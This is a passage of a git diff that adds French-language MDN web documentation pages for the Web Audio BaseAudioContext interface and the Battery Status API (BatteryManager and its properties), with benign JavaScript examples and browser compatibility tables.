+ <dt>{{domxref("BaseAudioContext.onstatechange")}}</dt>
+ <dd>Un gestionnaire d'événements qui s'exécute lorsqu'un événement de type {{event("statechange")}} s'est déclenché. Cela se produit lorsque l'état de l'<code>AudioContext</code> change, en raison de l'appel de l'une des méthodes de changement d'état ({{domxref("AudioContext.suspend")}}, {{domxref("AudioContext.resume")}}, ou {{domxref("AudioContext.close")}}).</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Implémente également les méthodes de l'interface </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("BaseAudioContext.createBuffer()")}}</dt>
+ <dd>Crée un nouvel objet {{ domxref("AudioBuffer") }} vide, qui peut ensuite être rempli de données et lu via un {{ domxref("AudioBufferSourceNode") }}.</dd>
+ <dt>{{domxref("BaseAudioContext.createConstantSource()")}}</dt>
+ <dd>Crée un objet {{domxref("ConstantSourceNode")}}, qui est une source audio qui émet en continu un signal sonore monophonique (un canal) dont les échantillons ont tous la même valeur.</dd>
+ <dt>{{domxref("BaseAudioContext.createBufferSource()")}}</dt>
+ <dd>Crée un {{domxref("AudioBufferSourceNode")}}, qui peut être utilisé pour lire et manipuler des données audio contenues dans un objet {{ domxref("AudioBuffer") }}. Les {{ domxref("AudioBuffer") }} sont créés à l'aide de {{domxref("AudioContext.createBuffer")}} ou renvoyés par {{domxref("AudioContext.decodeAudioData")}} lorsqu'il décode avec succès une piste audio.</dd>
+ <dt>{{domxref("BaseAudioContext.createScriptProcessor()")}}</dt>
+ <dd>Crée un {{domxref("ScriptProcessorNode")}}, qui peut être utilisé pour le traitement audio direct via JavaScript.</dd>
+ <dt>{{domxref("BaseAudioContext.createStereoPanner()")}}</dt>
+ <dd>Crée un {{domxref("StereoPannerNode")}}, qui peut être utilisé pour appliquer un panoramique stéréo à une source audio.</dd>
+ <dt>{{domxref("BaseAudioContext.createAnalyser()")}}</dt>
+ <dd>Crée un {{domxref("AnalyserNode")}}, qui peut être utilisé pour exposer les données de temps et de fréquence audio et par exemple pour créer des visualisations de données.</dd>
+ <dt>{{domxref("BaseAudioContext.createBiquadFilter()")}}</dt>
+ <dd>Crée un {{domxref("BiquadFilterNode")}}, qui représente un filtre du second ordre configurable en plusieurs types de filtres courants: passe-haut, passe-bas, passe-bande, etc.</dd>
+ <dt>{{domxref("BaseAudioContext.createChannelMerger()")}}</dt>
+ <dd>Crée un {{domxref("ChannelMergerNode")}}, qui est utilisé pour combiner les canaux de plusieurs flux audio en un seul flux audio.</dd>
+ <dt>{{domxref("BaseAudioContext.createChannelSplitter()")}}</dt>
+ <dd>Crée un {{domxref("ChannelSplitterNode")}}, qui est utilisé pour accéder aux canaux individuels d'un flux audio et les traiter séparément.</dd>
+ <dt>{{domxref("BaseAudioContext.createConvolver()")}}</dt>
+ <dd>Crée un {{domxref("ConvolverNode")}}, qui peut être utilisé pour appliquer des effets de convolution à votre graphique audio, par exemple un effet de réverbération.</dd>
+ <dt>{{domxref("BaseAudioContext.createDelay()")}}</dt>
+ <dd>Crée un {{domxref("DelayNode")}}, qui est utilisé pour retarder le signal audio entrant d'une certaine quantité. Ce nœud est également utile pour créer des boucles de rétroaction dans un graphique d'API Web Audio.</dd>
+ <dt>{{domxref("BaseAudioContext.createDynamicsCompressor()")}}</dt>
+ <dd>Crée un {{domxref("DynamicsCompressorNode")}}, qui peut être utilisé pour appliquer une compression acoustique à un signal audio.</dd>
+ <dt>{{domxref("BaseAudioContext.createGain()")}}</dt>
+ <dd>Crée un {{domxref("GainNode")}}, qui peut être utilisé pour contrôler le volume global du graphique audio.</dd>
+ <dt>{{domxref("BaseAudioContext.createIIRFilter()")}}</dt>
+ <dd>Crée un {{domxref("IIRFilterNode")}}, qui représente un filtre du second ordre configurable en plusieurs types de filtres communs différents.</dd>
+ <dt>{{domxref("BaseAudioContext.createOscillator()")}}</dt>
+ <dd>Crée un {{domxref("OscillatorNode")}}, une source représentant une forme d'one périodique. Cela génère essentiellement un ton.</dd>
+ <dt>{{domxref("BaseAudioContext.createPanner()")}}</dt>
+ <dd>Crée un {{domxref("PannerNode")}}, qui est utilisé pour spatialiser un flux audio entrant dans l'espace 3D.</dd>
+ <dt>{{domxref("BaseAudioContext.createPeriodicWave()")}}</dt>
+ <dd>Crée un {{domxref("PeriodicWave")}}, utilisé pour définir une forme d'one périodique qui peut être utilisée pour déterminer la sortie d'un {{ domxref("OscillatorNode") }}.</dd>
+ <dt>{{domxref("BaseAudioContext.createWaveShaper()")}}</dt>
+ <dd>Crée un {{domxref("WaveShaperNode")}}, qui est utilisé pour implémenter des effets de distorsion non linéaires.</dd>
+ <dt>{{domxref("BaseAudioContext.decodeAudioData()")}}</dt>
+ <dd>Décode de manière asynchrone les données de fichiers audio contenues dans un {{domxref("ArrayBuffer")}}. Dans ce cas, le ArrayBuffer est généralement chargé à partir de l'attribut <code>response</code> d'un {{domxref("XMLHttpRequest")}} après avoir défini le <code>responseType</code> sur <code>arraybuffer</code>. Cette méthode ne foncionne que sur des fichiers complets et non sur des fragments de fichiers audio.</dd>
+ <dt>{{domxref("BaseAudioContext.resume()")}}</dt>
+ <dd>Reprend la progression du temps dans un contexte audio précédemment suspendu / mis en pause.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Déclaration de context audio de base:</p>
+
+<pre class="brush: js notranslate">var audioCtx = new AudioContext();</pre>
+
+<p>Variante de nagivateur croisé:</p>
+
+<pre class="brush: js notranslate">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+var finish = audioCtx.destination;
+// etc.</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#BaseAudioContext', 'BaseAudioContext')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>baseLatency</code></td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>createConstantSource()</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(52)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(43)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>createStereoPanner()</code></td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(37.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onstatechange</code>, <code>state</code>, <code>suspend()</code>, <code>resume()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(40.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari(8.0)}}</td>
+  </tr>
+  <tr>
+   <td>Sans préfixe</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>2.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>baseLatency</code></td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>createConstantSource()</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(52)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>createStereoPanner()</code></td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onstatechange</code>, <code>state</code>, <code>suspend()</code>, <code>resume()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Sans préfixe</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(43)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul style="margin-left: 40px;">
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Utilisation de l'API Web Audio</a></li>
+ <li>{{domxref("AudioContext")}}</li>
+ <li>{{domxref("OfflineAudioContext")}}</li>
+</ul>
diff --git a/files/fr/web/api/battery_status_api/index.html b/files/fr/web/api/battery_status_api/index.html
new file mode 100644
index 0000000000..e7bf255db7
--- /dev/null
+++ b/files/fr/web/api/battery_status_api/index.html
@@ -0,0 +1,106 @@
+---
+title: API Battery Status
+slug: Web/API/Battery_status_API
+tags:
+  - API
+  - Aperçu
+  - Guide
+  - Obsolete
+translation_of: Web/API/Battery_Status_API
+---
+<p>{{DefaultAPISidebar("Battery API")}}{{Obsolete_Header}}</p>
+
+<p>L'<strong>API <em>Battery Status</em></strong>, souvent mentionnée sous le nom <strong>Battery API</strong>, fournit des informations sur le niveau de charge du système et permet d'envoyer des événements pour prévenir d'un changement du niveau de charge de la batterie. Cela peut être utilisé pour ajuster la consommation d'une application et la réduire pour réduire l'utilisation de la batterie lorsque son niveau de charge est bas ou encore de sauvegarder les données quand la batterie est bientôt vide.</p>
+
+<p>L'API Battery Status API étend l'interface {{domxref("window.navigator")}} avec la propriété {{domxref("window.navigator.battery")}}, méthode qui renvoie une promesse, résolue par l'objet {{domxref("BatteryManager")}}. Cet objet permet d'ajouter des nouveaux événements pour superviser l'état de la batterie.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on cherche à surveiller les changements, à la fois du statut de la charge (est-ce que l'équipement est branché et se recharge ou est ce que l'équipement est alimenté par sa batterie) et des changements du niveau de charge dans le temps.</p>
+
+<p>Cela se fait en surveillant les événements : </p>
+
+<ul>
+ <li>{{event("chargingchange")}}: changement de l'êtat de charge</li>
+ <li>{{event("levelchange")}}: changement du niveau de batterie</li>
+ <li>{{event("chargingtimechange")}}: évolution de l'estimation du temps de recharge</li>
+ <li>{{event("dischargingtimechange")}}: évolution de l'estimation d'autonomie sur batterie</li>
+</ul>
+
+<pre class="brush: js;">navigator.getBattery().then(function(battery) {
+  function updateAllBatteryInfo(){
+    updateChargeInfo();
+    updateLevelInfo();
+    updateChargingInfo();
+    updateDischargingInfo();
+  }
+  updateAllBatteryInfo();
+
+  battery.addEventListener('chargingchange', function(){
+    updateChargeInfo();
+  });
+  function updateChargeInfo(){
+    console.log("Battery en charge ? "
+                + (battery.charging ? "Oui" : "Non"));
+  }
+
+  battery.addEventListener('levelchange', function(){
+    updateLevelInfo();
+  });
+  function updateLevelInfo(){
+    console.log("Niveau de batterie: "
+                + battery.level * 100 + "%");
+  }
+
+  battery.addEventListener('chargingtimechange', function(){
+    updateChargingInfo();
+  });
+  function updateChargingInfo(){
+    console.log("Temps avant charge de la batterie: "
+                 + battery.chargingTime + " secondes");
+  }
+
+  battery.addEventListener('dischargingtimechange', function(){
+    updateDischargingInfo();
+  });
+  function updateDischargingInfo(){
+    console.log("Autonomie sur batterie: "
+                 + battery.dischargingTime + " secondes");
+  }
+
+});
+</pre>
+
+<p>Voir aussi <a class="external" href="http://www.w3.org/TR/battery-status/#examples">l'exemple de la spécification</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Battery API")}}</td>
+   <td>{{Spec2("Battery API")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.BatteryManager")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/Apps/Build/gather_and_modify_data/retrieving_battery_status_information">Récupérer les informations relatives à la batterie - article et démonstration</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">Billet de blog sur Hacks - Utiliser l'API Battery (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/api/batterymanager/charging/index.html b/files/fr/web/api/batterymanager/charging/index.html
new file mode 100644
index 0000000000..9ca1bf21ac
--- /dev/null
+++ b/files/fr/web/api/batterymanager/charging/index.html
@@ -0,0 +1,65 @@
+---
+title: BatteryManager.charging
+slug: Web/API/BatteryManager/charging
+translation_of: Web/API/BatteryManager/charging
+---
+<div>{{obsolete_header}}</div>
+
+<div>{{APIRef("Battery API")}}</div>
+
+<p>Une valeur booléenne indiquant si la batterie de l'équipement est en train d'être chargée.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>charging</em> = battery.charging</pre>
+
+<p><code>charging</code> indique si <code><em>battery</em></code>, qui est un objet du type {{domxref("BatteryManager")}}, est en charge; si la batterie est en charge, la variable a la valeur <code>true</code>. Sinon, dans le cas de la décharge, la variable a la valeurvaux <code>false</code>.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<h3 id="Code_HTML">Code HTML</h3>
+
+<pre class="brush: html">&lt;div id="charging"&gt;(&amp;ecirc;tat de charge inconnu)&lt;/div&gt;</pre>
+
+<h3 id="Code_JavaScript">Code JavaScript</h3>
+
+<pre class="brush: js; highlight:[3]">navigator.getBattery().then(function(battery) {
+
+    var charging = battery.charging;
+
+    document.querySelector('#charging').textContent = charging ;
+});</pre>
+
+<p>{{ EmbedLiveSample('Example', '100%', 30) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Battery API")}}</td>
+   <td>{{Spec2("Battery API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.BatteryManager.charging")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("Navigator.getBattery")}}</li>
+</ul>
diff --git a/files/fr/web/api/batterymanager/chargingtime/index.html b/files/fr/web/api/batterymanager/chargingtime/index.html
new file mode 100644
index 0000000000..0644df447e
--- /dev/null
+++ b/files/fr/web/api/batterymanager/chargingtime/index.html
@@ -0,0 +1,71 @@
+---
+title: BatteryManager.chargingTime
+slug: Web/API/BatteryManager/chargingTime
+translation_of: Web/API/BatteryManager/chargingTime
+---
+<div>{{obsolete_header}}</div>
+
+<p>{{APIRef("Battery API")}}</p>
+
+<p>Indique le temps, en secondes, qu'il reste jusqu'à que la batterie soit rechargée.</p>
+
+<div class="note">
+<p>Même si le temps retourné devrait être précis à la seconde, les navigateurs arrondissent cette valeur (typiquement à 15 minutes près) afin de limiter l'identification et le suivi des utilisateurs.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>time</em> = battery.chargingTime</pre>
+
+<p><code>time</code> est le temps restant en secondes jusqu'à que <code><em>battery</em></code>, qui est un objet de type {{domxref("BatteryManager")}}, soit rechargée, ou vaut 0 si la batterie est déjà rechargée. Si la batterie est en décharge, la variable vaut <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<h3 id="Code_HTML">Code HTML</h3>
+
+<pre class="brush: html">&lt;div id="chargingTime"&gt;(temps de charge inconnu)&lt;/div&gt;
+</pre>
+
+<h3 id="Code_JavaScript">Code JavaScript</h3>
+
+<pre class="brush: js; highlight:[3]">navigator.getBattery().then(function(battery) {
+
+   var time = battery.chargingTime;
+
+   document.querySelector('#chargingTime').textContent = battery.chargingTime;
+});
+</pre>
+
+<p>{{ EmbedLiveSample('Example', '100%', 30) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Battery API")}}</td>
+   <td>{{Spec2("Battery API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.BatteryManager.chargingTime")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("Navigator.getBattery")}}</li>
+</ul>
diff --git a/files/fr/web/api/batterymanager/dischargingtime/index.html b/files/fr/web/api/batterymanager/dischargingtime/index.html
new file mode 100644
index 0000000000..265e99384d
--- /dev/null
+++ b/files/fr/web/api/batterymanager/dischargingtime/index.html
@@ -0,0 +1,71 @@
+---
+title: BatteryManager.dischargingTime
+slug: Web/API/BatteryManager/dischargingTime
+translation_of: Web/API/BatteryManager/dischargingTime
+---
+<div>{{obsolete_header}}</div>
+
+<div>{{APIRef("Battery API")}}</div>
+
+<p>Indique le temps, en secondes, qu'il reste jusqu'à que la batterie soit déchargée.</p>
+
+<div class="note">
+<p>Même si le temps retourné devrait être précis à la seconde, les navigateurs arrondissent cette valeur (typiquement à 15 minutes près) afin de limiter l'identification et le suivi des utilisateurs.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>time</em> = battery.dischargingTime</pre>
+
+<p><code>time</code> est le temps restant en secondes jusqu'à que <code><em>battery</em></code>, qui est un objet de type {{domxref("BatteryManager")}}, soit complètement déchargée. La variable vaut <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code> si la batterie est en train d'être chargée ou si le système ne parvient pas à calculer un temps restant.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<h3 id="Code_HTML">Code HTML</h3>
+
+<pre class="brush: html">&lt;div id="dischargingTime"&gt;(temps de d&amp;eacute;charge inconnu)&lt;/div&gt;
+</pre>
+
+<h3 id="Code_JavaScript">Code JavaScript</h3>
+
+<pre class="brush: js;  highlight:[3]">navigator.getBattery().then(function(battery) {
+
+    var time = battery.dischargingTime;
+
+    document.querySelector('#dischargingTime').textContent = battery.dischargingTime;
+});
+</pre>
+
+<p>{{ EmbedLiveSample('Example', '100%', 30) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Battery API")}}</td>
+   <td>{{Spec2("Battery API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.BatteryManager.dischargingTime")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("Navigator.getBattery")}}</li>
+</ul>
diff --git a/files/fr/web/api/batterymanager/index.html b/files/fr/web/api/batterymanager/index.html
new file mode 100644
index 0000000000..a14fe8ed9a
--- /dev/null
+++ b/files/fr/web/api/batterymanager/index.html
@@ -0,0 +1,141 @@
+---
+title: BatteryManager
+slug: Web/API/BatteryManager
+tags:
+  - Mobile
+  - batterie
+  - gestion
+  - niveau
+translation_of: Web/API/BatteryManager
+---
+<p>{{ApiRef()}}</p>
+
+<h2 id="Sommaire">Sommaire</h2>
+
+<p>L'interface <code>BatteryManager </code>fournit des moyens pour obtenir des informations sur le niveau de charge de la batterie du système.</p>
+
+<p>La propriété {{domxref ("window.navigator.battery", "navigator.battery")}} retourne une instance de l'interface <code>BatteryManager </code>que vous pouvez utiliser pour interagir avec l'API d'état de la batterie.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("BatteryManager.charging")}} {{ReadOnlyInline}}</dt>
+ <dd>Un Boolean indiquant si oui ou non la batterie est actuellement en cours de charge.</dd>
+ <dt>{{domxref("BatteryManager.chargingTime")}} {{ReadOnlyInline}}</dt>
+ <dd>Un nombre qui représente le temps restant en secondes jusqu'à ce que la batterie soit complètement chargée, ou 0 si la batterie est complètement chargée.</dd>
+ <dt>{{domxref("BatteryManager.dischargingTime")}} {{ReadOnlyInline}}</dt>
+ <dd>Un nombre qui représente le temps restant en secondes jusqu'à ce que la batterie soit complètement déchargée et le système suspendu.</dd>
+ <dt>{{domxref("BatteryManager.level")}} {{ReadOnlyInline}}</dt>
+ <dd>Un nombre qui représente le niveau de charge de la batterie du système adapté à une valeur comprise entre 0.0 et 1.0.</dd>
+</dl>
+
+<h3 id="Gestionnaires_d'Evenements">Gestionnaires d'Evenements</h3>
+
+<dl>
+ <dt>{{domxref("BatteryManager.onchargingchange")}}</dt>
+ <dd>Un gestionnaire pour le changement de la présence ou non du chargeur.</dd>
+ <dt>{{domxref("BatteryManager.onchargingtimechange")}}</dt>
+ <dd>Un gestionnaire pour la mise à jour du temps de charge</dd>
+ <dt>{{domxref("BatteryManager.ondischargingtimechange")}}</dt>
+ <dd>Un gestionnaire pour la mise à jour du temps de décharge</dd>
+ <dt>{{domxref("BatteryManager.onlevelchange")}}</dt>
+ <dd>Un gestionnaire pour la mise à jour pour les changement du niveau de batterie</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Hérite de {{domxref("EventTarget")}}:</p>
+
+<p>{{page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Battery API')}}</td>
+   <td>{{Spec2('Battery API')}}</td>
+   <td>Spécification initale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>
+    <p>{{CompatChrome(39.0)}}</p>
+
+    <p>{{CompatNo()}}</p>
+   </td>
+   <td>{{CompatGeckoDesktop("10")}} {{ property_prefix("moz") }} [1]<br>
+    {{CompatGeckoDesktop("16")}} (without prefix) [2]</td>
+   <td>{{ CompatNo() }}</td>
+   <td>25</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionalité</th>
+   <th>Android</th>
+   <th>Chrome Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoMobile("10")}} {{ property_prefix("moz") }} [1]<br>
+    {{CompatGeckoMobile("16")}} (without prefix) [2]</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notes_Gecko">Notes Gecko</h3>
+
+<div class="note">
+<p>[1] désactivée par défaut dans Firefox 10.0, mais peut être activé réglant la préférence <code>dom.battery.enabled </code>à <code>true</code>. À partir de Firefox 11.0, <code>mozBattery </code>est activée par défaut pour mac le support est venus avec Gecko 18.0 {{geckoRelease("18.0")}}.</p>
+</div>
+
+<p class="note">[2] L'API batterie est actuellement supportée sur Android, Windows et Linux avec UPower installé. Support de MacOS est disponible à partir de Gecko 18.0 {{geckoRelease ("18.0")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("navigator.getBattery","navigator.getBattery") }}</li>
+ <li>La <a href="/en-US/docs/WebAPI/Battery_Status" title="/en-US/docs/WebAPI/Battery_Status">Battery Status API</a></li>
+</ul>
diff --git a/files/fr/web/api/batterymanager/level/index.html b/files/fr/web/api/batterymanager/level/index.html
new file mode 100644
index 0000000000..f7a5e9e062
--- /dev/null
+++ b/files/fr/web/api/batterymanager/level/index.html
@@ -0,0 +1,69 @@
+---
+title: BatteryManager.level
+slug: Web/API/BatteryManager/level
+translation_of: Web/API/BatteryManager/level
+---
+<div>{{obsolete_header}}</div>
+
+<div>{{APIRef("Battery API")}}</div>
+
